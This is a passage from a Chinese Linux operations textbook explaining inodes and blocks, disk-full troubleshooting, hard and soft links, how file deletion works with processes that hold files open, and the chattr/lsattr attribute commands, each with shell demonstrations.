/dev/sda1       194M   34M  151M  19% /boot

/dev/sdb         99M  5.6M   89M   6% /mnt




 
通过“ls-i”或者“stat文件名”命令可以查看文件的Inode数值。
 
通过dumpe2fs/dev/sda1命令可以查看分区的Inode和Block的单位大小及各种相关信息。
 
9.5.6　磁盘空间不足导致企业故障的案例
 
在了解了磁盘的Inode和Block之后，我们就能够明白磁盘满了分两种情况：一种是Inode数量耗尽了，另一种则是Block满了。
 
Block耗尽的情况基本上大家都能理解，500GB硬盘存放600GB的大片，将直接耗尽所有的Block。但是Inode耗尽的情况，一般的运维人员可能就会搞不清楚了，因为每创建一个文件都会占用一个Inode，所以当文件无限多并且足够小的时候，Inode就会先于Block耗尽，导致看起来磁盘空间充足，但是却会收到提示“磁盘空间不够”的情况。
 
以下是磁盘装满的两种企业模拟案例。
 
环境准备，命令集合如下：
 


mkdir -p /app/logs                           #<==创建用于挂载的目录。

dd if=/dev/zero of=/dev/sdc bs=8K  count=10  #<==创建指定大小的文件。

mkfs.ext4 /dev/sdc                           #<==格式化。

mount -o loop /dev/sdc /app/logs             #<==挂载。

df -h                                        #<==检查挂载结果。




 
1.模拟Block被占满了的测试案例
 


[root@oldboy ~]# df -h

Filesystem 　　  Size  Used Avail Use% Mounted on

/dev/sda3       8.8G  1.7G  6.8G  20% /

tmpfs           931M     0  931M   0% /dev/shm

/dev/sda1       190M   40M  141M  22% /boot

/dev/sdc         73K   14K   55K  21% /app/logs   #<==磁盘使用正常（Block）。

[root@oldboy ~]# cd /app/logs/

[root@oldboy logs]# ls -lh /bin/ls 

-rwxr-xr-x. 1 root root 115K Mar 23  2017 /bin/ls

[root@oldboy logs]# cp /bin/ls  .                 #<==把大文件复制到这个磁盘分区中。

cp: writing `./ls': No space left on device      #<==报错了,因为磁盘空间不够了。

[root@oldboy logs]# df -h

Filesystem      Size  Used Avail Use% Mounted on

/dev/sda3       8.8G  1.7G  6.8G  20% /

tmpfs           931M     0  931M   0% /dev/shm

/dev/sda1       190M   40M  141M  22% /boot

/dev/sdc         73K   70K     0 100% /app/logs   #<==磁盘已满，这时Block用光了。

[root@oldboy logs]# mv ls  /tmp/          #<==解决方法就是删除对应的文件，这里选择

                                    移动到/tmp中。

[root@oldboy logs]# df -h

Filesystem      Size  Used Avail Use% Mounted on

/dev/sda3       8.8G  1.7G  6.8G  20% /

tmpfs           931M     0  931M   0% /dev/shm

/dev/sda1       190M   40M  141M  22% /boot

/dev/sdc         73K   14K   55K  21% /app/logs   #<==磁盘空间恢复了。




 
2.模拟Inode耗尽的测试案例
 


[root@oldboy logs]# touch {1..6}.txt

touch: cannot touch `6.txt': No space left on device    #<==创建文件的时候，提示 

                                             磁盘空间不足。

[root@oldboy logs]# touch 7.txt

touch: cannot touch `7.txt': No space left on device    #<==创建文件的时候，提示

                                             磁盘空间不足。

[root@oldboy logs]# df -h                               #<==查看磁盘空间的使用情

                                             况（Block）。

Filesystem      Size  Used Avail Use% Mounted on

/dev/sda3       8.8G  1.7G  6.8G  20% /

tmpfs           931M     0  931M   0% /dev/shm

/dev/sda1       190M   40M  141M  22% /boot

/dev/sdc         73K   14K   55K  21% /app/logs         #<==还有剩余，这里指的是

                                             Block还有剩余。

[root@oldboy logs]# df -i                               #<==查看磁盘空间的使用情

                                             况（Inode）。

Filesystem     Inodes IUsed  IFree IUse% Mounted on

/dev/sda3      593344 59648 533696   11% /

tmpfs          238282     1 238281    1% /dev/shm

/dev/sda1       51200    40  51160    1% /boot

/dev/sdc           16    16      0  100% /app/logs   #<==但是Inode已经用光了，

                                          所以会提示磁盘空间不足。

[root@oldboy logs]# mv *.txt /tmp                    #<==删除对应的小文件，这里移

                                          动到/tmp中。

[root@oldboy logs]# df -i          

Filesystem     Inodes IUsed  IFree IUse% Mounted on

/dev/sda3      593344 59446 533898   11% /

tmpfs          125596     1 125595    1% /dev/shm

/dev/sda1       51200    38  51162    1% /boot

/dev/sdc           16    10      0  62% /app/logs      #<==故障解决,Inode还有剩

                                          余空间。

[root@oldboy logs]# touch 7.txt                      #<==创建文件将不再报错了。




 
3.磁盘空间满了故障情况总结
 
情况一：Block耗尽的情况，例如500GB磁盘存放400GB+200GB的视频。
 
情况二：Inode耗尽的情况，产生大量的小文件（小于1KB）。
 
4.出现No space left on device问题的企业案例
 
如果向磁盘写入数据则会提示如下错误：No space left on device（磁盘空间不足），可通过df-h命令查看磁盘空间，若此时发现没满，请问可能的原因是什么？企业场景在什么情况下会导致这个问题发生？
 
解答：还是因为Inode耗尽了，多数情况下是基于日常Linux定时任务crond配置不当导致的，具体案例和解决方案请参见Linux定时任务章节。
9.6　硬链接及软链接数知识
 
软硬链接的概念是Linux系统中重要的基础知识之一，需要读者熟练掌握，本节会带领大家了解软硬链接的知识。硬链接数属性对应于前文“ls-lhi/data”命令结果中的第3列（数字），示例代码如下：
 


139170 -rw-r--r--. 1 root root 22 Mar 11 15:17 oldboy.txt




 
[image: ]说明：
 
上述代码段中带底纹的1这样的数字列就表示文件（目录）对应的硬链接数。
 
9.6.1　链接的概念
 
在Linux系统中，链接可分为两种：一种为硬链接（Hard Link），另一种为软链接（Soft link）或符号链接（Symbolic Link）。前面讲解过，ln命令就是用来创建链接文件的，在默认不带任何参数的情况下，执行ln命令创建的链接是硬链接。
 
如果是使用ln-s创建的链接，则为软链接，软链接文件的文件类型为l（字母L的小写）。
 
创建硬链接的语法：“ln原始文件目标文件”（注意空格）。
 
创建软链接的语法：“ln-s原始文件目标文件”（目标文件不能事先存在）。
 
9.6.2　硬链接知识与实践
 
硬链接是指通过索引节点（Inode）进行的链接。在CentOS6及以前的Linux（ext2、ext3、ext4）默认文件系统中，存在于在磁盘分区中的文件不管是什么类型都会为它分配一个唯一的编号，这个编号就称为索引节点编号（Index Inode），简称Inode，各个文件对应的这个索引节点编号就类似于我们生活中的身份证号码，在Linux同一文件系统中该编号是唯一的。
 
在Linux系统中，多个文件名指向同一个索引节点（Inode号相同）（Inode）是正常且被允许的。这种情况下的两个文件就称作互为硬链接文件，本质上就是相同文件的两个名字（类似真名和网名一样，都表示一个人）。在同一个分区/文件系统中，Inode号码相同的文件一定是硬链接文件。
 
硬链接文件就相当于是原始文件的另外一个访问入口。硬链接的作用之一是允许一个文件拥有多个有效的文件名（多个访问入口，类似于超市的多个入口），这样用户就可以建立硬链接到重要的文件上，为避免“误删”源数据加一份保险（很多硬件存储的快照功能就应用了这个原理，增加一个快照就多了一个硬链接，多了一个硬链接就会增加一层数据的安全）。
 
因为文件系统（ext）的原理是，只要文件的索引节点（Inode Index）还有一个以上的硬链接，那么，只删除其中的一个硬链接（即仅仅删除了该文件的链接指向）并不会影响索引节点本身和其他的链接（即数据文件实体并未被删除），只有在文件的最后一个硬链接被删除之后，此时如果有新数据要存储到硬盘上，或者系统通过类似的fsck做磁盘检查的时候，被删除文件的数据块及目录的链接才会被释放，空间将被新数据占用并覆盖。当然，这样一来，数据就再也无法找回了。
 
也就是说，在Linux系统中，删除静态文件（没有进程调用的文件）的条件是与之相关的所有硬链接文件均被删除（暂时这样理解即可，后文会进一步介绍其与进程的占用也有关）。一个静态文件被彻底删除的条件就是该文件的硬链接数量为零。
 
下面给出一个文件的多个硬链接的形象图以帮助大家理解，图9-7即为硬链接原理图。
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图9-7　文件硬链接原理图
 
根据硬链接示意图可以知道，当删除oldboyfile和oldboyfile_hard_link两者任意之一时，只相当于删除了该文件到Inode之间的连接，通过未删除的文件名依然可以访问到文件实体。
 
硬链接的创建方法为直接执行命令“ln源文件目标文件（硬链接文件）”，具体实例演示代码如下：
 


[root@oldboy ~]# echo "I am oldboy" >oldboyfile     #<==创建源文件。

[root@oldboy ~]# cat oldboyfile               #<==查看。

I am oldboy

[root@oldboy ~]# ln oldboyfile oldboyfile_hard_link     #<==创建硬链接。

[root@oldboy ~]# cat oldboyfile_hard_link          #<==查看硬链接，内容与源文件相同。

I am oldboy

[root@oldboy ~]# ls -li  oldboyfile oldboyfile_hard_link     #<==查看索引节点。

400789 -rw-r--r--. 2 root root 12 Mar 13 09:23 oldboyfile     #<==索引节点是相同的，链接

                                            数为2。

400789 -rw-r--r--. 2 root root 12 Mar 13 09:23 oldboyfile_hard_link

                                        #<==索引节点是相同的。

[root@oldboy ~]# rm -f oldboyfile                #<==删除源文件。

[root@oldboy ~]# ls -li  oldboyfile oldboyfile_hard_link

ls: cannot access oldboyfile: No such file or directory #<==源文件已删。

400789 -rw-r--r--. 1 root root 12 Mar 13 09:23 oldboyfile_hard_link

                                        #<==链接数变为1。

[root@oldboy ~]# cat oldboyfile_hard_link  #<==内容依然存在，数据应该没有丢失。

I am oldboy

[root@oldboy ~]# ln oldboyfile_hard_link oldboyfile     #<==反过来创建硬链接。

[root@oldboy ~]# ls -li  oldboyfile oldboyfile_hard_link

400789 -rw-r--r--. 2 root root 12 Mar 13 09:23 oldboyfile  #<==又回来了，链接数又都

                                            为2了。

400789 -rw-r--r--. 2 root root 12 Mar 13 09:23 oldboyfile_hard_link

[root@oldboy ~]# cat oldboyfile     #<==文件回来了，内容也有了。

I am oldboy




 
硬链接知识小结
 
·具有相同Inode节点号的多个文件互为硬链接文件，本质上是相同文件的不同文件名。

·删除硬链接文件或者删除源文件任意之一，文件实体并未被删除。

·只有删除了源文件及与源文件对应的所有硬链接文件，文件实体才会被删除。

·待所有的硬链接文件及源文件均被删除之后，再存放新的数据时，新数据会占用这个文件的空间。磁盘进行fsck检查的时候，删除的数据就会被系统回收（养成删除及使用多套环境测试的好习惯）。

·硬链接文件就是文件的另一个入口（相当于超市的前门、后门）。

·可以通过对文件设置硬链接文件，来防止重要文件被误删。

·通过执行命令“ln源文件硬链接文件”，即可完成硬链接的创建。

·硬链接文件是普通文件，因此可以使用rm命令删除。

·对于静态文件（没有进程正在调用的文件）来讲，当对应的硬链接数为0（i_link）时，文件就被删除。i_link的查看方法是执行ls-lhi，然后查看结果的第三列。

·创建硬链接只能针对文件，不能针对目录。
 
9.6.3　软链接知识与实践
 
软链接（Soft Link）也称为符号链接（Symbolic Link，symlink）。Linux里的软链接文件就类似于Windows系统中的快捷方式。软链接文件实际上是一个特殊的文件，文件类型用字母l表示。可以将它理解为一个文本文件，这个文件中包含有软链接，其指向的是另一源文件的位置信息内容，因此，通过访问这个“快捷方式”就可以迅速定位到软链接所指向的源文件实体。
 
软链接的创建方法为：执行命令“ln-s源文件软链接文件”。
 
要想创建软链接，那么目标文件将是不能存在的，这个文件是要用ln命令创建的，创建软链接必须要有源文件，即针对哪个文件做软链接。
 
软链接文件的基本示意图如图9-8所示。
 
在图9-8中，软链接文件通过自身的Inode（存放原始文件路径信息，而不是读Block），读到了软链接信息，并指向了原始文件，进而读到原始文件名，以及原始文件的Inode，再通过原始文件的Inode读到原始文件的内容（Block），这就是访问软链接文件来读取数据的原理。
 
早期的软链接是读取自己的Block以获取原始文件的路径名信息，但是这样的访问方式效率很低，对于Linux（POSIX系统）系统来说，还有一种更好的方法，称为fast symlinks，原理就是软链接的Block不存放源文件位置了，而是直接将源文件位置存放在Inode里面，既省事又更快捷[1]。
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图9-8　软链接文件的示意图
 
1.文件的软链接示例
 
文件的软链接示例代码如下：
 


[root@oldboy ~]# ls -li  oldboyfile oldboyfile_hard_link

400789 -rw-r--r--. 2 root root 12 Mar 13 09:23 oldboyfile

400789 -rw-r--r--. 2 root root 12 Mar 13 09:23 oldboyfile_hard_link

[root@oldboy ~]# ln -s oldboyfile oldboyfile_soft_link     #<==为oldboyfile创建软

                                            链接文件。

[root@oldboy ~]# ls -li  oldboyfile*

400789 -rw-r--r--. 2 root root   12 Mar 13 09:23 oldboyfile

400789 -rw-r--r--. 2 root root   12 Mar 13 09:23 oldboyfile_hard_link

400791 lrwxrwxrwx. 1 root root   10 Mar 13 09:47 oldboyfile_soft_link -> oldboyfile #<==软链接文件的Inode和文件类型都是不同的，可见软链接文件是单独的文件。

root@oldboy ~]# cat oldboyfile_soft_link  #<==查看软链接文件的内容，内容是oldboy-

                                    file的内容。

I am oldboy

[root@oldboy ~]# readlink oldboyfile_soft_link            #<==查看软链接文件的指向，

                                            指向的是oldboyfile。

oldboyfile

[root@oldboy ~]# rm -f oldboyfile        #<==删除原始文件。

[root@oldboy ~]# cat oldboyfile_soft_link     #<==访问软链接会得到提示“找不到目录或文件”。

cat: oldboyfile_soft_link: No such file or directory

[root@oldboy ~]# ls -l oldboyfile*

-rw-r--r--. 1 root root 12 Mar 13 09:23 oldboyfile_hard_link

lrwxrwxrwx. 1 root root 10 Mar 13 09:47 oldboyfile_soft_link -> oldboyfile   

                                        #<==出现底闪烁故障。




 
2.目录的软链接示例
 
目录的软链接示例代码如下：
 


[root@oldboy oldboy]# mkdir oldboydir               #<==创建一个测试文件old- 

                                             boydir。

[root@oldboy oldboy]# ln oldboydir oldboydir_hard_link     #<==为目录创建硬链接尝试

                                            不行。

ln: `oldboydir': hard link not allowed for directory

#<==目录不允许创建硬链接，这是为什么呢？

[root@oldboy oldboy]# ln -s oldboydir oldboydir_soft_link

#<==但可以创建软链接，特别提示：目录的软链接在老男孩的生产场景中经常会用到，硬链接用得不多。

[root@oldboy oldboy]# ls -lirt

total 24

98538 -rw-r--r-- 2 root root    0 Oct 28 14:28 oldboyfile_hard_link

98538 -rw-r--r-- 2 root root    0 Oct 28 14:28 oldboyfile

98543 lrwxrwxrwx 1 root root   10 Oct 28 14:28 oldboyfile_soft_link -> oldboyfile

98547 drwxr-xr-x 2 root root 4096 Oct 28 14:34 oldboydir

98549 lrwxrwxrwx 1 root root    9 Oct 28 14:35 oldboydir_soft_link -> oldboydir 




 
[image: ]提示：代码中加粗部分为本例生成的结果。
 
小结一下，ln命令不能对目录创建硬链接，但可以对目录创建软链接，针对目录创建软链接，也是生产场景运维中常用的功能。
 
3.软链接知识小结
 
·软链接类似于Windows的快捷方式（可以通过readlink查看其指向）。

·软链接类似于一个文本文件，里面存放的是源文件的路径，指向源文件实体。

·删除源文件，软链接文件依然存在，但是无法访问指向源文件路径的内容了。

·失效的时候一般是白字红底闪烁提示。

·执行命令“ln-s源文件软链接文件”，即可完成软链接的创建（目标不能存在）。

·软链接和源文件是不同类型的文件，也是不同的文件，Inode号也不相同。

·软链接文件的文件类型为字母（l），可以用rm命令删除。

·软链接文件不仅可以针对文件，还可以针对目录（企业中常用）。
 
9.6.4　企业面试：请描述Linux中软链接和硬链接的区别
 
在遇到这样的面试题时，可从以下几个方面去解答。
 
1）答分类：在Linux系统中，链接可分两种，一种称为硬链接（Hard Link），另一种称为符号链接或软链接（Symbolic Link）。
 
2）答概念：硬链接文件与源文件的Inode节点号相同，而软链接文件则相当于Windows下面的快捷方式（Inode节点号与源文件不同）。
 
3）答创建：默认在不带参数的情况下，ln命令创建的是硬链接，带-s参数的ln命令创建的是软链接。
 
4）答特点，具体又可分为以下几点来说明。
 
a）不能对目录创建硬链接，但可以创建软链接，对目录的软链接会经常用到。
 
b）软链接可以跨文件系统，硬链接不可以跨文件系统。
 
c）删除软链接文件，对源文件及硬链接文件无任何影响。
 
d）删除文件的硬链接文件，对源文件及软链接文件无任何影响。
 
e）删除链接文件的源文件，对硬链接文件无影响，会导致其软链接失效（红底白字闪烁状）。
 
f）同时删除源文件及其硬链接文件，整个文件才会被“真正”的删除。
 
5）答案例：硬链接用处不多，可以用来对重要文件做快照以防止误删，对目录建立软链接在工作中很常用，例如，安装软件会使用nginx-1.10作为目录，安装完后设置软链接为nginx，即保持了版本号标识，又方便使用，以及方便后续的软件升级。
 
9.6.5　Linux系统文件删除原理
 
1.从ext文件系统的角度描述文件删除的原理
 
Linux系统上的文件名是存储在父目录的Block里面的，并指向了这个文件的Inode节点，这个文件的Inode节点再标记指向存放这个文件的Block的数据块。我们删除一个文件时，实际上并不会清除Inode节点和Block的数据。只是在这个文件的父目录中的Block里，删除这个文件的名字，从而使这个文件名消失，并且无法指向这个文件的Inode节点。当没有文件名指向这个Inode节点的时候，释放Inode节点和存放这个文件数据的Block块会同时进行，并且会更新Inode MAP和Block MAP，以便让这些位置用于放置其他文件数据。
 
2.从文件引用的角度深入描述文件删除的原理
 
Linux系统是通过Link的数量来控制文件是否被删除的，只有当一个文件不存在任何Link的时候，这个文件才会被删除。一般来说，每个文件都有2个Link计数器，既i_count和i_nlink。
 
i_nlink的意义就是前面讲的文件硬链接的数量，i_nlink可以理解为磁盘的引用计数器；i_count的意义就是当前文件使用者（例如，被进程调用）的数量，i_count可以理解为内存的引用计数器。当为文件创建硬链接的时候，对应i_nlink的数量就会增加，而当一个文件被某个进程调用时，对应i_count的数量就会增加。
 
通过rm删除命令删除文件，实际上就是减少文件的磁盘引用计数i_nlink的数量。这里就会出现一个问题，如果一个文件正在被某个进程调用，而用户却执行rm操作将文件删除了，那么会出现什么结果呢？
 
在用户执行rm操作删除文件之后，再执行ls或者其他文件管理命令，将会无法再找到这个文件，但是调用这个被删除文件的进程却在继续正常执行，依然能够从文件中正确地读取及写入内容。这又是为什么呢？
 
这是因为rm操作只是将文件的i_nlink数减少了，如果没其他的链接，i_nlink就为0了；但由于该文件依然在被进程引用，因此，此时文件对应的i_count数并不为0，所以即使执行了rm操作，但系统并没有真正删除这个文件，因此该文件还会占用磁盘空间，只有当i_nlink及i_count都为0的时候，这个文件才会真正被删除。也就是说，还需要解除该进程对该文件的调用，被rm删除的文件才会真正被删除。
 
以上讲的i_nlink及i_count是文件删除的真实条件，但是当文件没有被调用时，执行rm操作删除文件后是否还可以找回被删的文件呢？
 
前面说了，rm操作只是将文件的i_nlink减少了，或者说置0了，实际就是将文件名到Inode的链接删除了，此时，并没有删除文件的实体即Block数据块，如果及时停止机器工作，数据还是可以找回的，但如果此时继续写入数据，那么新的数据可能就会被分配到被删除数据的Block数据块了，此时，文件就是被真正地回收了，那时就是神仙也没有办法了。
 
Linux文件删除原理的基本示意图如图9-9所示。
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图9-9　Linux文件删除原理图
 
9.6.6　有关文件删除的企业故障案例
 
下面就来实战模拟文件被删除了（硬链接数为0），但是还有进程调用的情况。本模拟案例用到的知识比较复杂，初学者可以忽略所有的操作步骤，读懂本案例对读者理解文件删除的原理会有一些帮助，等到学习完老男孩的《跟老男孩学Linux运维：Web集群实战》一书后可进一步操作以体会这个案例。
 
案例1：简单案例，可说明原理（适合于新手读者）。
 
1）环境准备，命令集合如下：
 


mkdir -p /app/logs                           #<==创建用于挂载的目录。

dd if=/dev/zero of=/dev/sdc bs=8K  count=10  #<==创建指定大小的虚拟文件（模拟磁盘）。

mkfs.ext4 /dev/sdc                           #<==格式化。

mount -o loop /dev/sdc /app/logs             #<==挂载。

df -h                                        #<==检查挂载结果。




 
2）创建文件，并用文件填满虚拟磁盘sdc，命令如下：
 


[root@oldboyedu ~]# cd /app/logs/               #<==切换到目录。

[root@oldboy /app/logs]# touch nginx.log          #<==创建空文件。

[root@oldboy /app/logs]# tail -f nginx.log     #<==模拟进程持续调用文件。




 
重新开启窗口执行如下操作：
 


[root@oldboyedu ~]# cd /app/logs/                      #<==切换到目录。

[root@oldboy /app/logs]# cat /etc/services >>nginx.log     #<==填满文件直到sdc虚拟磁盘装满。

cat: write error: No space left on device              #<==报错“磁盘满了”。

[root@oldboy /app/logs]# df -h                      #<==查看磁盘状况。

Filesystem      Size  Used Avail Use% Mounted on

/dev/sda3        19G  1.9G   18G  10% /

devtmpfs        980M   80K  980M   1% /dev

…省略若干行…

/dev/loop0       73K   71K     0 100% /app/logs          #<==磁盘使用率100%了。




 
3）此时需要清理磁盘空间，命令如下：
 


[root@oldboy /app/logs]# rm –f nginx.log        #<==删除日志文件这个罪魁祸首。

[root@oldboy /app/logs]# df -h                  #<==再查看磁盘状况。

…省略若干行…

/dev/loop0       73K   71K     0 100% /app/logs     #<==磁盘使用率依然是100%。




 
磁盘文件并没有真的被删除，这是为什么呢？使用lsof命令还是可以查看到被删除的文件：
 


[root@oldboy /app/logs]# lsof|grep nginx

tail   7927    root    3r      REG       7,0     57344         12 /app/logs/nginx.log （deleted）




 
4）切换到第一个窗口，执行Ctrl+c快捷键终止进程对nginx.log的访问（tail-f nginx.log），然后再查看磁盘使用率，命令如下：
 


[root@oldboy /app/logs]# df -h                  #<==再查看磁盘状况。

…省略若干行…

/dev/loop0       73K   14K   54K  21% /app/logs     #<==磁盘使用率降低了。




 
模拟完成。
 
案例2：模拟企业级生产案例（适合基础较好的读者）。
 
操作步骤和命令集如下。
 
1）安装httpd web服务，命令如下：
 


yum install httpd -y

/etc/init.d/httpd start

lsof -i :80

/etc/init.d/iptables stop

cd /etc/httpd/conf 




 
编辑配置文件，让日志记录到/app/logs下面，命令如下：
 


sed -i's@#CustomLog logs/access_log common@CustomLog /app/logs/access_logcommon@g' httpd.conf 




 
2）创建一个小的文件系统，用于存放上述access_log日志，命令如下：
 


dd if=/dev/zero of=/dev/sdc bs=8K  count=10

ls -l /dev/sdc

mkfs -t ext4 /dev/sdc

tune2fs -c -1 /dev/sdc

mount -o loop /dev/sdc /app/logs

echo oldboy >/var/www/html/index.html




 
3）重启httpd服务，确保日志记录到了上述文件系统挂载的/app/log下面，命令如下：
 


/etc/init.d/httpd restart




 
4）编写一个循环脚本访问httpd，使得httpd日志充满/app/logs整个空间，命令如下：
 


for n in 'seq 100000'; do curl -s 127.0.0.1>/dev/null;done

[root@oldboy ~]# df -h

Filesystem            Size  Used Avail Use% Mounted on

/dev/sda3             7.2G  2.0G 4.9G  30% /

tmpfs                 244M     0 244M   0% /dev/shm

/dev/sda1             194M   54M 131M  30% /boot

/dev/sdc               73K   73K    0 100% /app/log  #<==磁盘已满。




 
5）错误的删除方案，命令如下：
 


[root@oldboy ~]# rm -f /app/logs/access_log         #==删除网站日志，注意这个日志正在被http服务调用。

[root@oldboy ~]# df -h

Filesystem            Size  Used Avail Use% Mounted on

/dev/sda3             7.2G  2.0G 4.9G  30% /

tmpfs                 244M     0 244M   0% /dev/shm

/dev/sda1             194M   54M 131M  30% /boot

/dev/sdc               73K   73K    0 100% /app/log  #<==磁盘仍然是满的，此时空间并未被释放，原因为何？




 
查看虽已被删除但仍由httpd进程占用的日志文件名，命令如下：
 


[root@oldboy ~]# lsof|grep del

httpd      6148     root    7w      REG   7,0    55260         12 /app/logs/access_log （deleted）

httpd     38178   apache    7w      REG   7,0    55260         12 /app/logs/access_log （deleted）

httpd     38483   apache    7w      REG   7,0    55260         12 /app/logs/access_log （deleted）

httpd     38484   apache    7w      REG   7,0    55260         12 /app/logs/access_log （deleted）

httpd     38752   apache    7w      REG   7,0    55260         12 /app/logs/access_log （deleted）




 
根据文件删除的原理来看，因为有进程调用access.log，因此其i_count数量不为0，虽然i_link数量为0了，但是文件依然没被真正删除，所以其占用的空间没有释放。
 
以下是解决问题的方法。
 
1）执行快捷键Ctrl+c，停掉模拟访问测试脚本，命令如下：
 


for n in 'seq 100000';do curl -s 127.0.0.1 >/dev/null;done




 
2）重启http服务，目的是取消httpd对删除的access.log文件的调用，命令如下：
 


[root@oldboy ~]# /etc/init.d/httpd restart

Stoppinghttpd:                                          [  OK  ]

Startinghttpd:                                          [ OK  ]




 
通过以下命令可以查看处理的结果：
 


[root@oldboy ~]# df -h

Filesystem            Size  Used Avail Use% Mounted on

/dev/sda3             7.2G  2.0G 4.9G  30% /

tmpfs                 244M     0 244M   0% /dev/shm

/dev/sda1             194M   54M 131M  30% /boot

/dev/sdc               73K   14K  55K  21%/app/logs #<==磁盘空间已经释放。




 
下面介绍一种较好的处理方案。
 
清空日志而不删除日志，企业中的Web日志都是定期轮询的，并且它还会自动备份且清理过期的日志。示例命令如下：
 


>/app/logs/access_log




 
限于本书篇幅，真实的企业级磁盘写满故障的案例仅给出链接地址，方便读者观看。
 
Web服务器磁盘写满故障深入解析，地址为http://oldboy.blog.51cto.com/2561410/612351。
 
[1] 参考地址：https://en.wikipedia.org/wiki/Symbolic_link#Storage_of_symbolic_links
9.7　chattr：改变文件的扩展属性
 
9.7.1　命令详解
 
【命令星级】　　★★★☆☆
 
【功能说明】
 
chattr命令用于改变文件的扩展属性。与chmod这个命令相比，chmod只是改变了文件的读、写、执行权限，更底层的属性控制是由chattr来改变的。
 
【语法格式】
 


chattr  [options]  [mode]  [files]

chattr  [选项]      [模式]   [<文件或目录>]




 
[image: ]说明：
 
chattr命令以及后面的选项和文件，每个元素之间都至少要有一个空格。
 
【选项说明】
 
表9-2针对chattr命令的参数选项进行了说明。
 
表9-2　chattr命令的参数选项及说明

 
 [image: ]

 
9.7.2　使用范例
 
范例9-1：设置只能往文件里追加内容，但不能删除文件。
 


[root@oldboy ~]# lsattr test     #<==lsattr查看文件的扩展属性。

-------------e- test

[root@oldboy ~]# chattr +a test     #<==+a添加追加属性。

[root@oldboy ~]# lsattr test

-----a-------e- test

[root@oldboy ~]# rm -f test     #<==即使是root用户也无法删除。

rm: cannot remove 'test': Operation not permitted

[root@oldboy ~]# echo 111 >>test     #<==可以追加文本。

[root@oldboy ~]# cat test

111

[root@oldboy ~]# echo 111 >test     #<==但是不能清空文件。

-bash: test: Operation not permitted




 
范例9-2：对文件加锁，使其只能被执行读操作。
 


[root@oldboy ~]# chattr +i file1.txt     #<==使用+i参数为文件加锁。

[root@oldboy ~]# lsattr file1.txt

----i--------e- file1.txt

[root@oldboy ~]# rm file1.txt          #<==root用户无法删除文件。

rm: remove regular file 'file1.txt'? y

rm: cannot remove 'file1.txt': Operation not permitted

[root@oldboy ~]# echo 111 > file1.txt     #<==不能清空。

-bash: file1.txt: Permission denied

[root@oldboy ~]# echo 111 >> file1.txt     #<==也不能追加。

-bash: file1.txt: Permission denied

[root@oldboy ~]# chattr -i file1.txt     #<==使用-i参数解锁。

[root@oldboy ~]# rm file1.txt        

rm: remove regular file 'file1.txt'? y     #<==解锁后就可以删除了。

[root@oldboy ~]#




 
9.7.3　安全优化实战
 
下面利用-a和-i参数为大家讲解chattr在企业中的实战应用。
 
为避免恶意删除.bash_history历史记录文件或者重定向到/dev/null，又因为系统需要向这个文件写入历史记录，因此采用追加模式，只增不减。命令如下：
 


[root@oldboy ~]# chattr +a .bash_history     #<==为历史纪录文件加上只能追加的属性。




 
如果希望锁定的文件不能被删除或修改，那么可以使用下面的命令来实现：
 


[root@oldboy ~]# chattr +i /etc/passwd /etc/group /etc/shadow /etc/gshadow /etc/inittab               #<==锁定系统关键文件

[root@oldboy ~]# useradd kk     #<==添加用户的命令，后面会详细讲解。

useradd: cannot open /etc/passwd

#<==说明：做完上面实验的读者，请立即解锁这些文件，因为以后学习都需要修改这些文件。




 
解锁命令如下：
 


chattr -i /etc/passwd /etc/group /etc/shadow /etc/gshadow /etc/inittab




 
[image: ]提示：对于chattr功能的使用，黑客如果知道也能操作，因此，使用chattr的安全性只是相对的。
9.8　lsattr：查看文件扩展属性
 
9.8.1　命令详解
 
【命令星级】　　★★★☆☆
 
【功能说明】
 
lsattr命令用于查看文件的扩展属性。
 
【语法格式】
 


lsattr  [options]  [files] 

lsattr  [选项]     [<文件或目录>] 




 
[image: ]说明：
 
lsattr命令以及后面的选项和文件，每个元素之间都至少要有一个空格。
 
【选项说明】
 
表9-3针对lsattr命令的参数选项进行了说明。
 
表9-3　lsattr命令的参数选项及说明

 
 [image: ]

 
9.8.2　使用范例
 
范例9-3：查看文件的扩展属性。
 


[root@oldboy ~]# lsattr file1.txt     #<==查看文件默认的扩展属性。

-------------e- file1.txt

[root@oldboy ~]# chattr +i file1.txt

[root@oldboy ~]# lsattr file1.txt

----i--------e- file1.txt             #<==可以看到文件具有i属性。




 
范例9-4：查看目录的扩展属性。
 


[root@oldboy data]# ll -d dir2

drwxr-xr-x 2 root root 4096 Nov  4 17:26 dir2

[root@oldboy data]# lsattr -d dir2    #<==使用-d选项可查看目录的扩展属性。

-------------e- dir2

[root@oldboy data]# chattr +i dir2    #<==也可以对目录加锁。

[root@oldboy data]# lsattr -d dir2

----i--------e- dir2




9.9　本章重点
 
章节特别提示：本章涉及的有关文件的Inode和Block知识，还是基于CentOS6的ext4文件系统原理进行介绍的，主要原因是考虑到ext4依然很经典，并且与CentOS7的XFS有很多相似之处，更多有关XFS的内容，可参考本书姊妹篇《跟老男孩学Linux运维：核心基础（下）》（计划出版）一书的“磁盘和文件系统”一章的相关内容。
9.10　本章相关问题
 
1）掌握Linux文件属性中各个列的含义（ls-lhi的结果）及对应知识的概念。
 
2）磁盘空间不足故障的多重判断和解决方法（面试常考）。
 
3）请描述软链接和硬链接的特点及区别（面试常考）。
 
4）请描述Linux系统文件删除的原理（面试常考）。
第10章　Linux通配符与特殊符号知识应用实践
 
10.1　Linux通配符与特殊符号简介

 
Linux系统的功能非常强大且丰富，几乎键盘上的每个符号在Linux里都有很重要的作用和意义，今天笔者就和大家一起来梳理Linux学习里常见的通配符和特殊字符知识。
10.2　Linux通配符知识与实践
 
通配符简单地说就是，键盘上的一些特殊字符，可以实现某些特殊的功能，例如，用来模糊搜索系统中的文件。当查找文件时，可以使用通配符中的“*”或“？”字符来代替一个或多个真正的字符，从而更快地找到所需的文件。利用通配符可以在Linux命令行或bash脚本中轻松地匹配或查找所需的文件，以提高工作效率。
 
下面就为大家讲解一些常见的通配符知识与应用实践。通配符是bash的内置功能，几乎适用于所有的Linux命令。在企业工作中，常用的通配符符号如表10-1所示。
 
表10-1　通配符符号集合

 
 [image: ]

 

 [image: ]

 
[image: ]特别声明：后文在Linux三剑客命令对应的正则表达式功能中还会讲解上述符号的新功能，请读者分开记忆，不要弄混淆了。
 
10.2.1　通配符之“*”号的作用介绍与实践
 
在Linux命令行通配符中，“*”号的意思是匹配所有（0到多个）字符，这在查找某一类文件时特别方便，它在命令行中是十分常用的符号。下面来看几个相关的示例。
 
以下是操作示例数据环境准备：
 


[root@oldboy ~]# mkdir test

[root@oldboy ~]# cd test/

